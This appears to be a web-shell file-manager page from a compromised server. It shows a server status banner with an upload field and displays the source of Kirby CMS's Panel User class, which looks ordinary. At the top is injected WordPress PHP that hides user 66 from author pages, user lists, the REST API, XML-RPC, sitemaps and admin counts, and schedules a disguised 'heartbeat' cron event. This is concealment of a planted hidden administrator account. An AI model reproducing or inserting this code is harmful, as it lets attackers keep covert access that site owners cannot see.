add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/zukuenfte.net/kirby/src/Panel/ |
Upload File : |
<?php
namespace Kirby\Panel;
use Kirby\Cms\File as CmsFile;
use Kirby\Cms\ModelWithContent;
use Kirby\Cms\Translation;
use Kirby\Cms\Url;
use Kirby\Filesystem\Asset;
use Kirby\Toolkit\I18n;
/**
* Provides information about the user model for the Panel
* @since 3.6.0
*
* @package Kirby Panel
* @author Nico Hoffmann <nico@getkirby.com>
* @link https://getkirby.com
* @copyright Bastian Allgeier
* @license https://getkirby.com/license
*/
class User extends Model
{
/**
* @var \Kirby\Cms\User
*/
protected ModelWithContent $model;
/**
* Breadcrumb array
*/
public function breadcrumb(): array
{
return [
[
'label' => $this->model->username(),
'link' => $this->url(true),
]
];
}
/**
* Provides options for the user dropdown
*/
public function dropdown(array $options = []): array
{
$account = $this->model->isLoggedIn();
$i18nPrefix = $account ? 'account' : 'user';
$permissions = $this->options(['preview']);
$url = $this->url(true);
$result = [];
$result[] = [
'dialog' => $url . '/changeName',
'icon' => 'title',
'text' => I18n::translate($i18nPrefix . '.changeName'),
'disabled' => $this->isDisabledDropdownOption('changeName', $options, $permissions)
];
$result[] = '-';
$result[] = [
'dialog' => $url . '/changeEmail',
'icon' => 'email',
'text' => I18n::translate('user.changeEmail'),
'disabled' => $this->isDisabledDropdownOption('changeEmail', $options, $permissions)
];
$result[] = [
'dialog' => $url . '/changeRole',
'icon' => 'bolt',
'text' => I18n::translate('user.changeRole'),
'disabled' => $this->isDisabledDropdownOption('changeRole', $options, $permissions) || $this->model->roles()->count() < 2
];
$result[] = [
'dialog' => $url . '/changeLanguage',
'icon' => 'translate',
'text' => I18n::translate('user.changeLanguage'),
'disabled' => $this->isDisabledDropdownOption('changeLanguage', $options, $permissions)
];
$result[] = '-';
$result[] = [
'dialog' => $url . '/changePassword',
'icon' => 'key',
'text' => I18n::translate('user.changePassword'),
'disabled' => $this->isDisabledDropdownOption('changePassword', $options, $permissions)
];
if ($this->model->kirby()->system()->is2FAWithTOTP() === true) {
if ($account || $this->model->kirby()->user()->isAdmin()) {
if ($this->model->secret('totp') !== null) {
$result[] = [
'dialog' => $url . '/totp/disable',
'icon' => 'qr-code',
'text' => I18n::translate('login.totp.disable.option'),
];
} elseif ($account) {
$result[] = [
'dialog' => $url . '/totp/enable',
'icon' => 'qr-code',
'text' => I18n::translate('login.totp.enable.option')
];
}
}
}
$result[] = '-';
$result[] = [
'dialog' => $url . '/delete',
'icon' => 'trash',
'text' => I18n::translate($i18nPrefix . '.delete'),
'disabled' => $this->isDisabledDropdownOption('delete', $options, $permissions)
];
return $result;
}
/**
* Returns the setup for a dropdown option
* which is used in the changes dropdown
* for example.
*/
public function dropdownOption(): array
{
return [
'icon' => 'user',
'text' => $this->model->username(),
] + parent::dropdownOption();
}
public function home(): string|null
{
if ($home = ($this->model->blueprint()->home() ?? null)) {
$url = $this->model->toString($home);
return Url::to($url);
}
return Panel::url('site');
}
/**
* Default settings for the user's Panel image
*/
protected function imageDefaults(): array
{
return array_merge(parent::imageDefaults(), [
'back' => 'black',
'icon' => 'user',
'ratio' => '1/1',
]);
}
/**
* Returns the image file object based on provided query
* @internal
*/
protected function imageSource(
string|null $query = null
): CmsFile|Asset|null {
if ($query === null) {
return $this->model->avatar();
}
return parent::imageSource($query);
}
/**
* Returns the full path without leading slash
*/
public function path(): string
{
// path to your own account
if ($this->model->isLoggedIn() === true) {
return 'account';
}
return 'users/' . $this->model->id();
}
/**
* Returns prepared data for the panel user picker
*/
public function pickerData(array $params = []): array
{
$params['text'] ??= '{{ user.username }}';
return array_merge(parent::pickerData($params), [
'email' => $this->model->email(),
'username' => $this->model->username(),
]);
}
/**
* Returns navigation array with
* previous and next user
*
* @internal
*/
public function prevNext(): array
{
$user = $this->model;
return [
'next' => fn () => $this->toPrevNextLink($user->next(), 'username'),
'prev' => fn () => $this->toPrevNextLink($user->prev(), 'username')
];
}
/**
* Returns the data array for the
* view's component props
*
* @internal
*/
public function props(): array
{
$user = $this->model;
$account = $user->isLoggedIn();
$permissions = $this->options();
return array_merge(
parent::props(),
$this->prevNext(),
[
'blueprint' => $this->model->role()->name(),
'canChangeEmail' => $permissions['changeEmail'],
'canChangeLanguage' => $permissions['changeLanguage'],
'canChangeName' => $permissions['changeName'],
'canChangeRole' => $this->model->roles()->count() > 1,
'model' => [
'account' => $account,
'avatar' => $user->avatar()?->url(),
'content' => $this->content(),
'email' => $user->email(),
'id' => $user->id(),
'language' => $this->translation()->name(),
'link' => $this->url(true),
'name' => $user->name()->toString(),
'role' => $user->role()->title(),
'username' => $user->username(),
'uuid' => fn () => $user->uuid()?->toString()
]
]
);
}
/**
* Returns the Translation object
* for the selected Panel language
*/
public function translation(): Translation
{
$kirby = $this->model->kirby();
$lang = $this->model->language();
return $kirby->translation($lang);
}
/**
* Returns the data array for
* this model's Panel view
*
* @internal
*/
public function view(): array
{
return [
'breadcrumb' => $this->breadcrumb(),
'component' => 'k-user-view',
'props' => $this->props(),
'title' => $this->model->username(),
];
}
}